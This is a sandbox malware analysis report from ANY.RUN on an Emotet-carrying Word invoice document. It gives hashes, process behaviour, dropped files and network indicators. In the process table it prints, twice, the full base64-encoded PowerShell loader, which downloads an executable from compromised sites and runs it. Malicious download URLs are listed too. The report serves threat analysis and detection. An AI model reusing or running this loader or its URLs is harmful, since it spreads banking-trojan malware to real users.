analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

INVOICE COPY REQUEST-E-8472446.doc

Full analysis: https://app.any.run/tasks/ecb52fab-4711-48e2-b4cb-8057cf62b1b1
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: October 09, 2019, 14:08:56
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
emotet-doc
emotet
generated-doc
loader
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Mandatory, Subject: interactive, Author: Devin Shields, Keywords: Chief, Comments: synthesize, Template: Normal.dotm, Last Saved By: Fletcher Botsford, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Oct 9 07:25:00 2019, Last Saved Time/Date: Wed Oct 9 07:25:00 2019, Number of Pages: 1, Number of Words: 29, Number of Characters: 167, Security: 0
MD5:

9F9A6CDAAB86EE8AF0A363C353AA32B2

SHA1:

C4047D39B24D3436B8DB25D31F64B6A42CB442CE

SHA256:

CCEF55988500A249C10181A9D2B90E21229A2E20CC6ED8BDF2AEE2684485ED36

SSDEEP:

3072:8qswkQbxKgdzSrGNKyIwLx3UWuAbdTQ6y3geWkpdN6PpBAhsWsSbOnriTy:8qswkOxKUzS6nLx3p89cBBnPqOn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 473.exe (PID: 2780)
      • 473.exe (PID: 3848)
      • msptermsizes.exe (PID: 3204)
      • msptermsizes.exe (PID: 2744)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2884)

    • Emotet process was detected

      • 473.exe (PID: 2780)

  • SUSPICIOUS

    • Executed via WMI

      • powershell.exe (PID: 2884)
      • powershell.exe (PID: 2260)

    • Creates files in the user directory

      • powershell.exe (PID: 2884)
      • powershell.exe (PID: 2260)

    • PowerShell script executed

      • powershell.exe (PID: 2884)
      • powershell.exe (PID: 2260)

    • Application launched itself

      • 473.exe (PID: 3848)
      • msptermsizes.exe (PID: 2744)

    • Starts itself from another location

      • 473.exe (PID: 2780)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2884)
      • 473.exe (PID: 2780)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2896)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2896)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

CompObjUserType: Microsoft Word 97-2003 Document
CompObjUserTypeLen: 32
Manager: Streich
HeadingPairs:
  • Title
  • 1
TitleOfParts: -
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
CharCountWithSpaces: 195
Paragraphs: 1
Lines: 1
Company: Marks, Botsford and Pfannerstill
CodePage: Windows Latin 1 (Western European)
Security: None
Characters: 167
Words: 29
Pages: 1
ModifyDate: 2019:10:09 06:25:00
CreateDate: 2019:10:09 06:25:00
TotalEditTime: -
Software: Microsoft Office Word
RevisionNumber: 1
LastModifiedBy: Fletcher Botsford
Template: Normal.dotm
Comments: synthesize
Keywords: Chief
Author: Devin Shields
Subject: interactive
Title: Mandatory
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
7
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 473.exe no specs #EMOTET 473.exe msptermsizes.exe no specs msptermsizes.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2896"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\INVOICE COPY REQUEST-E-8472446.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2884powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABjADQAOQAzADYAOAA3ADYANAAwADMAYwBiAD0AJwB4ADAANgA4ADMAYgA1ADUAMgA1ADkAMAAwACcAOwAkAHgAOAA2AGIAMQAyADUAYgAzADAAMAA0ACAAPQAgACcANAA3ADMAJwA7ACQAYwA1ADQANgAzADAAOAAzADAAMAA4AD0AJwBjAGIAMQAwADQAMQBiADUAMAAwADgAMgAnADsAJABjADAAMABjADMAOABjADIAMAA4ADAAMAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAeAA4ADYAYgAxADIANQBiADMAMAAwADQAKwAnAC4AZQB4AGUAJwA7ACQAYwAwADAAMAB4ADYAMAA0ADgAOAB4ADMAPQAnAHgAMAA0ADQAMgAwADUAMwA2ADAANAAnADsAJAB4ADUAMAA5ADAAeAA2ADMANgB4ADgAMwA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAYgBjAGwASQBlAE4AVAA7ACQAYwAwADUAYgB4ADcAeAA1ADIAMQBjAD0AJwBoAHQAdABwADoALwAvAGkAbgBkAHUAbABnAGUAYgBlAGEAdQB0AHkAcwB0AHUAZABpAG8ALgBjAG8ALgB1AGsALwBjAGcAaQAtAGIAaQBuAC8AMwBnADYAbQBnAHYANABlAHkAagAtAHcAaABtAHEAMAAtADgAMQA0ADgANQA0ADIAMAA0ADcALwBAAGgAdAB0AHAAcwA6AC8ALwBpAG4AZgBpAG4AaQB0AGUALQBoAGUAbABwAC4AbwByAGcALwBiAGwAbwBnAHMALwAwAHMAbQBtAHMAYwAtADIANgB1ADYANAAtADIAMQAvAEAAaAB0AHQAcABzADoALwAvAHMAYQBsAHUAdABhAHIAeQBmAGEAYwBpAGwAaQB0AHkALgBjAG8AbQAvAGoAcwAvAGMAcgBwAGsAYgBkAGsAcwByADgALQA3AHkAMAAxADIALQAyADAANQA4ADcAMwA1ADkALwBAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBkAHUAcABwAG8AbAB5AHMAcABvAHIAdAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYAMQAwAGQAaQBnAC0AdQBhAGYAYwByAGIAZAB4AHUALQAxADYALwBAAGgAdAB0AHAAOgAvAC8AcwB5AHMAdABlAG0AYQB0AGkAYwBzAGEAcgBsAC4AYwBvAG0ALwBpAG4AZABlAHgAMQAzAC8ANQBvADIAdwByAHIANgAtADEAdgB4ADIAagBnAGUAYgBrADEALQA2ADcAMQA3ADMAOQAxADMANAAvACcALgAiAFMAcABgAGwASQB0ACIAKAAnAEAAJwApADsAJABjAGMAOAAwADEANAA0ADAANwB4AGMAOAA4AD0AJwBiADYAMAB4AGIAMAAyAHgANQAxAHgAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeAAwADUAOQAwADQAYwAwADIAYgB4ADMAOQAgAGkAbgAgACQAYwAwADUAYgB4ADcAeAA1ADIAMQBjACkAewB0AHIAeQB7ACQAeAA1ADAAOQAwAHgANgAzADYAeAA4ADMALgAiAEQAbwB3AG4ATABPAGEAYABkAEYAaQBgAEwARQAiACgAJAB4ADAANQA5ADAANABjADAAMgBiAHgAMwA5ACwAIAAkAGMAMAAwAGMAMwA4AGMAMgAwADgAMAAwACkAOwAkAHgAMAA0ADAAOQB4ADIAeAAwADAAMAAwAD0AJwBjADEAMAA3AGIAYgAwADAAeAAzAGMAMAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAGMAMAAwAGMAMwA4AGMAMgAwADgAMAAwACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA4ADkAOAAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABBAGAAUgBUACIAKAAkAGMAMAAwAGMAMwA4AGMAMgAwADgAMAAwACkAOwAkAGIAMQAzADQAMQAzAGMAMAAwADAAMAA9ACcAYgB4AGIAMgA3ADgAMgAxADQANAAwADAAJwA7AGIAcgBlAGEAawA7ACQAYwB4ADgAMAA3AGMAMAAzADgANwA0AD0AJwBiADQAMAA3ADIAeAA2ADMAeAAxADAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYwAwAGIAMAAzADUANwB4ADIAOQBjAGMAYwA9ACcAeAAzADUAMAA1ADQAOAAwADUAMAA5ADAAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3848"C:\Users\admin\473.exe" C:\Users\admin\473.exe—powershell.exe
User:
admin
Company:
Monkey Head Software
Integrity Level:
MEDIUM
Description:
Monkey Head Media Stream
Exit code:
0
Version:
1, 0, 0, 1
2780--69116f6eC:\Users\admin\473.exe
473.exe
User:
admin
Company:
Monkey Head Software
Integrity Level:
MEDIUM
Description:
Monkey Head Media Stream
Exit code:
0
Version:
1, 0, 0, 1
2744"C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe"C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe—473.exe
User:
admin
Company:
Monkey Head Software
Integrity Level:
MEDIUM
Description:
Monkey Head Media Stream
Exit code:
0
Version:
1, 0, 0, 1
3204--f91b2738C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe—msptermsizes.exe
User:
admin
Company:
Monkey Head Software
Integrity Level:
MEDIUM
Description:
Monkey Head Media Stream
Version:
1, 0, 0, 1
2260powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABjADQAOQAzADYAOAA3ADYANAAwADMAYwBiAD0AJwB4ADAANgA4ADMAYgA1ADUAMgA1ADkAMAAwACcAOwAkAHgAOAA2AGIAMQAyADUAYgAzADAAMAA0ACAAPQAgACcANAA3ADMAJwA7ACQAYwA1ADQANgAzADAAOAAzADAAMAA4AD0AJwBjAGIAMQAwADQAMQBiADUAMAAwADgAMgAnADsAJABjADAAMABjADMAOABjADIAMAA4ADAAMAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAeAA4ADYAYgAxADIANQBiADMAMAAwADQAKwAnAC4AZQB4AGUAJwA7ACQAYwAwADAAMAB4ADYAMAA0ADgAOAB4ADMAPQAnAHgAMAA0ADQAMgAwADUAMwA2ADAANAAnADsAJAB4ADUAMAA5ADAAeAA2ADMANgB4ADgAMwA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAYgBjAGwASQBlAE4AVAA7ACQAYwAwADUAYgB4ADcAeAA1ADIAMQBjAD0AJwBoAHQAdABwADoALwAvAGkAbgBkAHUAbABnAGUAYgBlAGEAdQB0AHkAcwB0AHUAZABpAG8ALgBjAG8ALgB1AGsALwBjAGcAaQAtAGIAaQBuAC8AMwBnADYAbQBnAHYANABlAHkAagAtAHcAaABtAHEAMAAtADgAMQA0ADgANQA0ADIAMAA0ADcALwBAAGgAdAB0AHAAcwA6AC8ALwBpAG4AZgBpAG4AaQB0AGUALQBoAGUAbABwAC4AbwByAGcALwBiAGwAbwBnAHMALwAwAHMAbQBtAHMAYwAtADIANgB1ADYANAAtADIAMQAvAEAAaAB0AHQAcABzADoALwAvAHMAYQBsAHUAdABhAHIAeQBmAGEAYwBpAGwAaQB0AHkALgBjAG8AbQAvAGoAcwAvAGMAcgBwAGsAYgBkAGsAcwByADgALQA3AHkAMAAxADIALQAyADAANQA4ADcAMwA1ADkALwBAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBkAHUAcABwAG8AbAB5AHMAcABvAHIAdAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYAMQAwAGQAaQBnAC0AdQBhAGYAYwByAGIAZAB4AHUALQAxADYALwBAAGgAdAB0AHAAOgAvAC8AcwB5AHMAdABlAG0AYQB0AGkAYwBzAGEAcgBsAC4AYwBvAG0ALwBpAG4AZABlAHgAMQAzAC8ANQBvADIAdwByAHIANgAtADEAdgB4ADIAagBnAGUAYgBrADEALQA2ADcAMQA3ADMAOQAxADMANAAvACcALgAiAFMAcABgAGwASQB0ACIAKAAnAEAAJwApADsAJABjAGMAOAAwADEANAA0ADAANwB4AGMAOAA4AD0AJwBiADYAMAB4AGIAMAAyAHgANQAxAHgAYgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeAAwADUAOQAwADQAYwAwADIAYgB4ADMAOQAgAGkAbgAgACQAYwAwADUAYgB4ADcAeAA1ADIAMQBjACkAewB0AHIAeQB7ACQAeAA1ADAAOQAwAHgANgAzADYAeAA4ADMALgAiAEQAbwB3AG4ATABPAGEAYABkAEYAaQBgAEwARQAiACgAJAB4ADAANQA5ADAANABjADAAMgBiAHgAMwA5ACwAIAAkAGMAMAAwAGMAMwA4AGMAMgAwADgAMAAwACkAOwAkAHgAMAA0ADAAOQB4ADIAeAAwADAAMAAwAD0AJwBjADEAMAA3AGIAYgAwADAAeAAzAGMAMAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAGMAMAAwAGMAMwA4AGMAMgAwADgAMAAwACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgA4ADkAOAAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABBAGAAUgBUACIAKAAkAGMAMAAwAGMAMwA4AGMAMgAwADgAMAAwACkAOwAkAGIAMQAzADQAMQAzAGMAMAAwADAAMAA9ACcAYgB4AGIAMgA3ADgAMgAxADQANAAwADAAJwA7AGIAcgBlAGEAawA7ACQAYwB4ADgAMAA3AGMAMAAzADgANwA0AD0AJwBiADQAMAA3ADIAeAA2ADMAeAAxADAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYwAwAGIAMAAzADUANwB4ADIAOQBjAGMAYwA9ACcAeAAzADUAMAA1ADQAOAAwADUAMAA5ADAAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
2 269
Read events
1 709
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
4
Text files
2
Unknown types
17

Dropped files

PID
Process
Filename
Type
2896WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR4E6B.tmp.cvr —
MD5:—
SHA256:—
2884powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N4NIPV8FNF89C3119CK5.temp —
MD5:—
SHA256:—
2896WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\INVOICE COPY REQUEST-E-8472446.doc.LNKlnk
MD5:36CF66725D7E55B52985FB71F4977557
SHA256:7CC9BFF8EE7977E8D57B1AD66564937EF05CEF7A3D01C9546A544DDD20F13A09
2896WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:4A2151EBC664D3368CF1DD5FA0B028D4
SHA256:6101502A47DCB6DCFAA15073096ADC7F4BAF8268306E00F5441C2F2FE151797A
2260powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N70H57AM1EF8JF8U9DAO.temp —
MD5:—
SHA256:—
2896WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3A9258E9.wmfwmf
MD5:E5CFB2CA6F26EDFD3960E57968A1DA1F
SHA256:F1523D8B985493CB177401EAEDA79D483CB14A6AD6CDFC1301657CCBF0B1DDFD
2896WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:E0DD1BDF554A9903B51A4E42765228D1
SHA256:3D5E88F570385CF4D8119F544D9366012647C27E4F5ACD9FEF410777955AFC49
2884powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF115e69.TMPbinary
MD5:C911F7DBBF8956A476A7162FD7A88B15
SHA256:2D59CFC009032C59A8A26237F4091BD155E115DA834FF623AF40BC693711AF85
2896WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5C2E2A88.wmfwmf
MD5:CA113E40F7FFBD5E2C8070D18739E12F
SHA256:F6E18C5375A8E501A6FB9F1C6FB285A67790133993A6FD5EE5EAEEC99F7923C0
2896WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2898C2EA.wmfwmf
MD5:A599FEE6118400B3BCCECB82883675F8
SHA256:83F5C8093D3FF099EDD8F180A55420448465853694273AAEC6AAF95A6FF7E9EA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2884
powershell.exe
GET
200
160.153.129.225:80
http://indulgebeautystudio.co.uk/cgi-bin/3g6mgv4eyj-whmq0-8148542047/
US
executable
612 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2884
powershell.exe
160.153.129.225:80
indulgebeautystudio.co.uk
GoDaddy.com, LLC
US
malicious
2260
powershell.exe
160.153.129.225:80
indulgebeautystudio.co.uk
GoDaddy.com, LLC
US
malicious

DNS requests

Domain
IP
Reputation
indulgebeautystudio.co.uk
  • 160.153.129.225
malicious

Threats

PID
Process
Class
Message
2884
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2884
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2884
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
INVOICE COPY REQUEST-E-8472446.doc